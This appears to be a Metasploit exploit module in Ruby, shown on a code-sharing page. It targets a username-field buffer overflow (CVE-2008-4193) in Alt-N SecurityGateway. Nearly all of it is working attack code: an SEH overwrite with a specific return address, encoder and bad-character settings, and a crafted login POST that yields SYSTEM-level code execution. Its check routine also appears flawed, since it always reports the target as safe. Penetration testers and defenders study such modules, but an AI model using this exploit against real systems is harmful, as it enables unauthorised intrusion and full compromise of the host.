Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  # XXX: Automatic targetting used HttpFingerprint = { :uri => '/SecurityGateway.dll', :pattern => [ /SecurityGateway / ] }
10

11
  include Msf::Exploit::Remote::HttpClient
12
  include Msf::Exploit::Seh
13

14
  def initialize(info = {})
15
    super(update_info(info,
16
      'Name'           => 'Alt-N SecurityGateway username Buffer Overflow',
17
      'Description'    => %q{
18
          Alt-N SecurityGateway is prone to a buffer overflow condition. This
19
        is due to insufficient bounds checking on the "username"
20
        parameter. Successful exploitation could result in code
21
        execution with SYSTEM level privileges.
22

23
        NOTE: This service doesn't restart, you'll only get one shot. However,
24
        it often survives a successful exploitation attempt.
25
      },
26
      'Author'         => [ 'jduck' ],
27
      'License'        => MSF_LICENSE,
28
      'References'     =>
29
        [
30
          [ 'CVE', '2008-4193' ],
31
          [ 'OSVDB', '45854' ],
32
          [ 'BID', '29457']
33
        ],
34
      'Privileged'     => true,
35
      'DefaultOptions' =>
36
        {
37
          'EXITFUNC' => 'thread',
38
        },
39
      'Payload'        =>
40
        {
41
          'Space'    => 476,
42
          # note: 0xd7 might not be translated, but w/e
43
          'BadChars' => "\x00" + ((0x40..0x5a).to_a + [ 0x8a, 0x8c, 0x8e, 0x9f ] + (0xc0..0xdf).to_a).pack('C*'),
44
          'StackAdjustment' => -3500,
45
          'EncoderType' => Msf::Encoder::Type::SingleStaticBit,
46
          'EncoderOptions' =>
47
            {
48
              'BitNumber' => 0x5,
49
              'BitValue' => true,
50
            }
51
        },
52
      'Platform'       => 'win',
53
      'Targets'        =>
54
        [
55
          [ 'Automatic Targeting', { } ],
56
          # NOTE: the return address must be tolower() safe
57
          [ 'SecurityGateway 1.0.1 Universal', { 'Ret' => 0x6767756f }], # p/p/r in XceedZip.dll 4.5.77.0
58
        ],
59
      'DefaultTarget'  => 0,
60
      'DisclosureDate' => '2008-06-02'))
61

62
    register_options(
63
      [
64
        Opt::RPORT(4000)
65
      ])
66
  end
67

68

69
  # Identify the target based on the SecurityGateway version number
70
  def auto_target
71
    info = http_fingerprint({ :uri => '/SecurityGateway.dll' })  # automatic targetting
72
    if (info =~ /SecurityGateway (1\..*)$/)
73
      case $1
74
      when /1\.0\.1/
75
        return self.targets[1]
76
      end
77
    end
78
    # Not vulnerable
79
    nil
80
  end
81

82
  def check
83
    if auto_target
84
      Exploit::CheckCode::Appears
85
    end
86
    Exploit::CheckCode::Safe
87
  end
88

89
  def exploit
90

91
    # handle auto-targeting
92
    mytarget = target
93
    if target.name =~ /Automatic/
94
      print_status("Attempting to automatically select a target...")
95
      mytarget = auto_target
96
      if mytarget.nil?
97
        fail_with(Failure::NoTarget, "Unable to automatically select a target")
98
      end
99
      print_status("Automatically selected target \"#{mytarget.name}\"")
100
    end
101

102
    # the buffer gets CharLowerBuff()'d and passed to:
103
    # sprintf(str, "Attempt to login with invalid user name %s from %s", buf, ip_str);
104

105
    sploit = payload.encoded
106
    sploit << generate_seh_record(mytarget.ret)
107
    distance = payload_space + 8
108
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
109
    sploit = Rex::Text.to_hex(sploit, '%')
110
    sploit << rand_text_alphanumeric(512)
111

112
    post_data = 'RequestedPage=login'
113
    post_data << '&username=' << sploit
114
    post_data << '&passwd=world'
115

116
    print_status("Sending request...")
117
    res = send_request_cgi({
118
      'uri'          => '/SecurityGateway.dll',
119
      'method'       => 'POST',
120
      'content-type' => 'application/x-www-form-urlencoded',
121
      'data'         => post_data,
122
    }, 5)
123

124
    handler
125
  end
126
end
127

128